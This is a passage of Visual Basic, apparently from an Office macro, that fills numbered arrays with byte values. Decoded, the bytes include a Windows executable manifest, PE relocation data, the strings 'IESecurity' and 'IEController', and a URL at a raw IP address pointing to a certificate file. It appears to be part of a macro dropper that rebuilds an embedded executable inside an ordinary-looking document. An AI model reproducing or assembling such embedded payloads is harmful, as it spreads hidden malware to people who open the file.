    a(422) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 73, 0, 69, 0, 83, 0, 101, 0, 99, 0, 117, 0, 114, 0, 105, 0, 116, 0, 121, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(423) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(424) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(425) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(426) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 73, 0, 69, 0, 67, 0, 111, 0, 110, 0, 116, 0, 114, 0, 111, 0, 108, 0, 108, 0, 101, 0, 114, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(427) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(428) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(429) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(430) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 104, 0, 116, 0, 116, 0, 112, 0, 58, 0, 47, 0, 47, 0, 49, 0, 57, 0, 51, 0, 46, 0, 50, 0, 51, 0, 57, 0, 46, 0, 49, 0, 53, 0, 50, 0, 46, 0, 49, 0, 51, 0, 49, 0, 47, 0, 56, 0, 48, 0, 56, 0, 48, 0, 47, 0, 116, 0, 101, 0, 109, 0, 112, 0)
    a(431) = Array(108, 0, 97, 0, 116, 0, 101, 0, 115, 0, 47, 0, 99, 0, 111, 0, 109, 0, 112, 0, 105, 0, 108, 0, 101, 0, 100, 0, 47, 0, 115, 0, 121, 0, 110, 0, 105, 0, 111, 0, 47, 0, 114, 0, 111, 0, 111, 0, 116, 0, 46, 0, 99, 0, 101, 0, 114, 0, 116, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(432) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(433) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(434) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(435) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(436) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(437) = Array(0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 1, 0, 24, 0, 0, 0, 24, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 48, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 1, 0, 9, 4, 0, 0, 72, 0, 0, 0, 88, 32, 1, 0, 90, 1, 0, 0, 228, 4, 0, 0, 0, 0, 0, 0, 60, 97, 115, 115, 101, 109, 98, 108, 121, 32, 120, 109, 108, 110, 115, 61, 34, 117, 114, 110, 58, 115, 99, 104, 101, 109, 97, 115, 45, 109, 105, 99, 114, 111, 115, 111, 102, 116, 45, 99)
    a(438) = Array(111, 109, 58, 97, 115, 109, 46, 118, 49, 34, 32, 109, 97, 110, 105, 102, 101, 115, 116, 86, 101, 114, 115, 105, 111, 110, 61, 34, 49, 46, 48, 34, 62, 13, 10, 32, 32, 60, 116, 114, 117, 115, 116, 73, 110, 102, 111, 32, 120, 109, 108, 110, 115, 61, 34, 117, 114, 110, 58, 115, 99, 104, 101, 109, 97, 115, 45, 109, 105, 99, 114, 111, 115, 111, 102, 116, 45, 99, 111, 109, 58, 97, 115, 109, 46, 118, 51, 34, 62, 13, 10, 32, 32, 32, 32, 60, 115, 101, 99, 117, 114, 105, 116, 121, 62, 13, 10, 32, 32, 32, 32, 32, 32, 60, 114, 101, 113, 117, 101, 115, 116, 101, 100, 80, 114, 105, 118, 105)
    a(439) = Array(108, 101, 103, 101, 115, 62, 13, 10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 114, 101, 113, 117, 101, 115, 116, 101, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 76, 101, 118, 101, 108, 32, 108, 101, 118, 101, 108, 61, 34, 97, 115, 73, 110, 118, 111, 107, 101, 114, 34, 32, 117, 105, 65, 99, 99, 101, 115, 115, 61, 34, 102, 97, 108, 115, 101, 34, 62, 60, 47, 114, 101, 113, 117, 101, 115, 116, 101, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 76, 101, 118, 101, 108, 62, 13, 10, 32, 32, 32, 32, 32, 32, 60, 47, 114, 101, 113, 117, 101, 115, 116, 101, 100, 80, 114, 105, 118, 105, 108, 101)
    a(440) = Array(103, 101, 115, 62, 13, 10, 32, 32, 32, 32, 60, 47, 115, 101, 99, 117, 114, 105, 116, 121, 62, 13, 10, 32, 32, 60, 47, 116, 114, 117, 115, 116, 73, 110, 102, 111, 62, 13, 10, 60, 47, 97, 115, 115, 101, 109, 98, 108, 121, 62, 80, 65, 80, 65, 68, 68, 73, 78, 71, 88, 88, 80, 65, 68, 68, 73, 78, 71, 80, 65, 68, 68, 73, 78, 71, 88, 88, 80, 65, 68, 68, 73, 78, 71, 80, 65, 68, 68, 73, 78, 71, 88, 88, 80, 65, 68, 68, 73, 78, 71, 80, 65, 68, 68, 73, 78, 71, 88, 88, 80, 65, 68, 68, 73, 78, 71, 80, 65, 68, 68, 73, 78, 71, 88, 88, 80, 65, 68)
    a(441) = Array(0, 16, 0, 0, 156, 0, 0, 0, 29, 48, 47, 48, 130, 48, 143, 48, 150, 48, 212, 48, 220, 48, 234, 48, 13, 49, 62, 49, 154, 49, 68, 50, 95, 50, 138, 50, 186, 50, 192, 50, 14, 51, 186, 51, 212, 51, 232, 51, 240, 51, 252, 51, 28, 52, 49, 52, 54, 52, 67, 52, 185, 52, 236, 52, 83, 53, 225, 53, 100, 54, 198, 54, 234, 54, 26, 55, 36, 55, 56, 55, 64, 55, 70, 55, 208, 55, 213, 55, 22, 56, 153, 56, 26, 57, 35, 57, 148, 58, 41, 59, 135, 59, 8, 60, 55, 61, 141, 61, 187, 61, 214, 61, 227, 61, 253, 61, 60, 62, 68, 62, 85, 62, 93, 62, 99, 62, 215, 62)
    a(442) = Array(220, 62, 3, 63, 60, 63, 78, 63, 100, 63, 143, 63, 160, 63, 168, 63, 177, 63, 197, 63, 202, 63, 212, 63, 250, 63, 0, 0, 0, 32, 0, 0, 200, 0, 0, 0, 28, 48, 76, 48, 207, 48, 248, 48, 4, 49, 98, 49, 129, 49, 135, 49, 153, 49, 187, 49, 234, 49, 240, 49, 255, 49, 64, 50, 189, 50, 209, 52, 211, 54, 205, 55, 65, 56, 225, 56, 208, 57, 185, 58, 49, 59, 86, 59, 101, 59, 109, 59, 122, 59, 134, 59, 146, 59, 152, 59, 170, 59, 178, 59, 189, 59, 4, 60, 9, 60, 19, 60, 100, 60, 214, 60, 220, 60, 226, 60, 232, 60, 238, 60, 244, 60, 251, 60, 2, 61, 9, 61)
    a(443) = Array(16, 61, 23, 61, 30, 61, 37, 61, 45, 61, 53, 61, 61, 61, 73, 61, 82, 61, 87, 61, 93, 61, 103, 61, 112, 61, 123, 61, 135, 61, 140, 61, 156, 61, 161, 61, 167, 61, 173, 61, 195, 61, 202, 61, 221, 61, 249, 61, 28, 62, 47, 62, 102, 62, 114, 62, 127, 62, 133, 62, 142, 62, 149, 62, 183, 62, 44, 63, 52, 63, 71, 63, 82, 63, 87, 63, 105, 63, 115, 63, 120, 63, 148, 63, 158, 63, 180, 63, 191, 63, 217, 63, 228, 63, 236, 63, 252, 63, 0, 0, 0, 48, 0, 0, 196, 0, 0, 0, 2, 48, 19, 48, 76, 48, 86, 48, 124, 48, 131, 48, 157, 48, 164, 48, 207, 48, 113, 49)
    a(444) = Array(132, 49, 150, 49, 221, 49, 245, 49, 255, 49, 26, 50, 34, 50, 40, 50, 54, 50, 106, 50, 119, 50, 140, 50, 189, 50, 218, 50, 38, 51, 84, 51, 123, 51, 136, 51, 142, 51, 170, 51, 176, 51, 202, 51, 217, 51, 230, 51, 242, 51, 2, 52, 9, 52, 24, 52, 36, 52, 49, 52, 85, 52, 103, 52, 117, 52, 138, 52, 148, 52, 186, 52, 237, 52, 252, 52, 5, 53, 41, 53, 88, 53, 103, 53, 36, 55, 86, 55, 117, 55, 148, 55, 247, 55, 26, 56, 60, 56, 71, 56, 125, 56, 141, 56, 183, 56, 200, 56, 213, 56, 220, 56, 236, 56, 254, 56, 3, 57, 83, 57, 101, 57, 69, 58, 79, 58, 92, 58)
    a(445) = Array(154, 58, 161, 58, 174, 58, 180, 58, 241, 58, 14, 59, 98, 59, 60, 60, 68, 60, 92, 60, 119, 60, 206, 60, 245, 60, 1, 61, 12, 62, 231, 62, 254, 62, 148, 63, 197, 63, 0, 0, 0, 64, 0, 0, 76, 0, 0, 0, 74, 49, 0, 50, 10, 50, 190, 50, 205, 50, 68, 51, 81, 51, 38, 52, 48, 52, 208, 52, 14, 53, 64, 53, 104, 53, 192, 54, 30, 56, 37, 56, 142, 56, 237, 56, 144, 57, 176, 57, 160, 58, 201, 58, 34, 59, 144, 60, 106, 61, 58, 62, 107, 62, 129, 62, 194, 62, 225, 62, 126, 63, 176, 63, 216, 63, 0, 0, 0, 80, 0, 0, 232, 0, 0, 0, 2, 49, 37, 49)
    a(446) = Array(48, 49, 83, 49, 162, 49, 26, 50, 76, 50, 100, 50, 107, 50, 115, 50, 120, 50, 124, 50, 128, 50, 169, 50, 207, 50, 237, 50, 244, 50, 248, 50, 252, 50, 0, 51, 4, 51, 8, 51, 12, 51, 16, 51, 90, 51, 96, 51, 100, 51, 104, 51, 108, 51, 210, 51, 221, 51, 248, 51, 255, 51, 4, 52, 8, 52, 12, 52, 45, 52, 87, 52, 137, 52, 144, 52, 148, 52, 152, 52, 156, 52, 160, 52, 164, 52, 168, 52, 172, 52, 246, 52, 252, 52, 0, 53, 4, 53, 8, 53, 96, 53, 134, 53, 140, 53, 182, 53, 251, 53, 2, 54, 23, 54, 94, 54, 104, 54, 147, 54, 171, 54, 201, 54, 237, 54, 29, 55)
    a(447) = Array(47, 55, 93, 55, 128, 55, 134, 55, 199, 55, 212, 55, 244, 55, 14, 56, 64, 56, 104, 56, 246, 56, 51, 57, 61, 57, 85, 57, 126, 57, 176, 57, 216, 57, 179, 58, 185, 58, 11, 60, 22, 60, 85, 60, 146, 60, 161, 60, 228, 60, 239, 60, 249, 60, 10, 61, 21, 61, 146, 62, 158, 62, 164, 62, 169, 62, 175, 62, 25, 63, 32, 63, 53, 63, 113, 63, 140, 63, 145, 63, 178, 63, 183, 63, 216, 63, 223, 63, 238, 63, 244, 63, 0, 96, 0, 0, 104, 1, 0, 0, 0, 48, 6, 48, 15, 48, 21, 48, 30, 48, 42, 48, 48, 48, 56, 48, 62, 48, 74, 48, 80, 48, 93, 48, 103, 48, 109, 48)
    a(448) = Array(119, 48, 153, 48, 174, 48, 212, 48, 20, 49, 26, 49, 68, 49, 74, 49, 80, 49, 102, 49, 126, 49, 164, 49, 30, 50, 65, 50, 75, 50, 131, 50, 139, 50, 212, 50, 218, 50, 240, 50, 245, 50, 253, 50, 3, 51, 10, 51, 16, 51, 23, 51, 29, 51, 37, 51, 44, 51, 49, 51, 57, 51, 66, 51, 78, 51, 83, 51, 88, 51, 94, 51, 98, 51, 104, 51, 109, 51, 115, 51, 120, 51, 135, 51, 157, 51, 163, 51, 171, 51, 176, 51, 184, 51, 189, 51, 197, 51, 202, 51, 209, 51, 224, 51, 229, 51, 235, 51, 244, 51, 20, 52, 26, 52, 50, 52, 84, 52, 119, 52, 132, 52, 144, 52, 152, 52, 160, 52)
    a(449) = Array(172, 52, 213, 52, 221, 52, 232, 52, 245, 52, 252, 52, 6, 53, 24, 53, 47, 53, 61, 53, 67, 53, 102, 53, 109, 53, 134, 53, 154, 53, 160, 53, 169, 53, 188, 53, 224, 53, 32, 54, 116, 54, 148, 54, 158, 54, 213, 54, 219, 54, 224, 54, 238, 54, 243, 54, 248, 54, 253, 54, 13, 55, 60, 55, 66, 55, 74, 55, 145, 55, 150, 55, 208, 55, 213, 55, 220, 55, 225, 55, 232, 55, 237, 55, 251, 55, 92, 56, 101, 56, 107, 56, 243, 56, 2, 57, 18, 57, 25, 57, 33, 57, 145, 57, 150, 57, 159, 57, 174, 57, 209, 57, 214, 57, 219, 57, 242, 57, 74, 58, 80, 58, 86, 58, 8, 59, 13, 59)
    a(450) = Array(31, 59, 61, 59, 81, 59, 87, 59, 84, 60, 119, 60, 130, 60, 136, 60, 152, 60, 157, 60, 174, 60, 182, 60, 188, 60, 198, 60, 204, 60, 214, 60, 220, 60, 230, 60, 239, 60, 250, 60, 255, 60, 8, 61, 18, 61, 29, 61, 88, 61, 114, 61, 140, 61, 142, 63, 149, 63, 155, 63, 208, 63, 217, 63, 229, 63, 0, 0, 0, 112, 0, 0, 132, 0, 0, 0, 28, 48, 37, 48, 49, 48, 106, 48, 115, 48, 127, 48, 152, 48, 185, 48, 194, 48, 233, 48, 246, 48, 251, 48, 9, 49, 213, 50, 85, 51, 192, 51, 211, 51, 242, 51, 4, 52, 23, 52, 41, 52, 105, 52, 137, 52, 94, 55, 128, 55, 185, 55)
End Sub

Private Sub Init15()
    a(451) = Array(224, 55, 0, 56, 10, 56, 33, 56, 70, 56, 105, 56, 22, 57, 116, 57, 124, 57, 145, 57, 156, 57, 189, 58, 156, 59, 1, 60, 13, 60, 133, 60, 159, 60, 168, 60, 206, 60, 84, 61, 97, 61, 122, 61, 152, 61, 212, 61, 252, 61, 143, 62, 162, 62, 179, 62, 216, 62, 19, 63, 38, 63, 62, 63, 94, 63, 177, 63, 217, 63, 242, 63, 0, 128, 0, 0, 144, 0, 0, 0, 14, 48, 59, 48, 104, 48, 115, 48, 161, 48, 175, 48, 184, 48, 248, 48, 10, 49, 70, 49, 107, 49, 120, 49, 160, 49, 210, 49, 218, 49, 24, 50, 12, 51, 17, 51, 58, 51, 93, 51, 118, 51, 131, 51, 162, 51, 74, 52)
    a(452) = Array(184, 52, 94, 53, 136, 53, 168, 53, 222, 53, 232, 53, 64, 55, 140, 55, 219, 55, 35, 56, 119, 56, 58, 57, 104, 57, 224, 57, 250, 57, 11, 58, 68, 58, 210, 58, 15, 59, 38, 59, 150, 60, 167, 60, 225, 60, 238, 60, 248, 60, 6, 61, 15, 61, 25, 61, 77, 61, 88, 61, 98, 61, 123, 61, 133, 61, 152, 61, 188, 61, 243, 61, 40, 62, 59, 62, 171, 62, 200, 62, 17, 63, 128, 63, 159, 63, 0, 0, 0, 144, 0, 0, 148, 0, 0, 0, 20, 48, 32, 48, 51, 48, 69, 48, 96, 48, 104, 48, 112, 48, 135, 48, 160, 48, 188, 48, 197, 48, 203, 48, 212, 48, 217, 48, 232, 48, 15, 49)
    a(453) = Array(56, 49, 73, 49, 103, 49, 206, 49, 212, 49, 34, 50, 40, 50, 50, 50, 160, 50, 166, 50, 178, 50, 233, 50, 1, 51, 125, 51, 132, 51, 0, 52, 7, 52, 98, 52, 143, 52, 221, 52, 166, 53, 95, 54, 101, 54, 106, 54, 112, 54, 129, 54, 172, 54, 196, 54, 99, 58, 117, 58, 135, 58, 153, 58, 171, 58, 209, 58, 227, 58, 245, 58, 7, 59, 25, 59, 43, 59, 61, 59, 79, 59, 97, 59, 115, 59, 133, 59, 151, 59, 169, 59, 194, 59, 11, 60, 164, 60, 116, 61, 238, 61, 17, 62, 170, 62, 101, 63, 0, 160, 0, 0, 12, 0, 0, 0, 246, 49, 0, 0, 0, 176, 0, 0, 72, 0, 0, 0)
    a(454) = Array(116, 49, 120, 49, 124, 49, 128, 49, 132, 49, 144, 49, 148, 49, 184, 52, 188, 52, 108, 61, 116, 61, 124, 61, 132, 61, 140, 61, 148, 61, 156, 61, 164, 61, 172, 61, 180, 61, 188, 61, 196, 61, 204, 61, 212, 61, 220, 61, 228, 61, 236, 61, 244, 61, 252, 61, 4, 62, 12, 62, 20, 62, 0, 0, 0, 192, 0, 0, 64, 0, 0, 0, 28, 61, 32, 61, 104, 61, 136, 61, 168, 61, 200, 61, 232, 61, 8, 62, 36, 62, 40, 62, 72, 62, 104, 62, 136, 62, 168, 62, 200, 62, 212, 62, 240, 62, 16, 63, 48, 63, 60, 63, 88, 63, 100, 63, 128, 63, 156, 63, 160, 63, 192, 63, 224, 63, 252, 63)
    a(455) = Array(0, 208, 0, 0, 32, 0, 0, 0, 0, 48, 32, 48, 64, 48, 96, 48, 128, 48, 160, 48, 172, 48, 200, 48, 232, 48, 8, 49, 40, 49, 0, 0, 0, 224, 0, 0, 16, 1, 0, 0, 128, 49, 136, 49, 104, 54, 108, 54, 112, 54, 116, 54, 120, 54, 124, 54, 128, 54, 132, 54, 136, 54, 140, 54, 168, 54, 172, 54, 176, 54, 180, 54, 184, 54, 188, 54, 192, 54, 196, 54, 200, 54, 204, 54, 208, 54, 212, 54, 216, 54, 220, 54, 224, 54, 228, 54, 232, 54, 236, 54, 240, 54, 244, 54, 248, 54, 252, 54, 0, 55, 4, 55, 8, 55, 12, 55, 16, 55, 20, 55, 24, 55, 28, 55, 32, 55, 36, 55)
    a(456) = Array(40, 55, 44, 55, 48, 55, 52, 55, 56, 55, 60, 55, 64, 55, 68, 55, 72, 55, 76, 55, 80, 55, 96, 55, 100, 55, 104, 55, 108, 55, 112, 55, 116, 55, 120, 55, 124, 55, 128, 55, 132, 55, 136, 55, 140, 55, 144, 55, 148, 55, 152, 55, 156, 55, 160, 55, 164, 55, 168, 55, 172, 55, 176, 55, 180, 55, 184, 55, 188, 55, 192, 55, 196, 55, 200, 55, 204, 55, 208, 55, 212, 55, 216, 55, 220, 55, 224, 55, 228, 55, 232, 55, 236, 55, 240, 55, 244, 55, 248, 55, 252, 55, 0, 56, 4, 56, 8, 56, 104, 56, 120, 56, 136, 56, 152, 56, 168, 56, 204, 56, 216, 56, 220, 56, 224, 56, 228, 56)
    a(457) = Array(232, 56, 24, 61, 24, 62, 40, 62, 44, 62, 48, 62, 52, 62, 56, 62, 60, 62, 64, 62, 68, 62, 72, 62, 76, 62, 88, 62, 92, 62, 96, 62, 100, 62, 104, 62, 108, 62, 112, 62, 116, 62, 120, 62, 124, 62, 128, 62, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(458) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(459) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
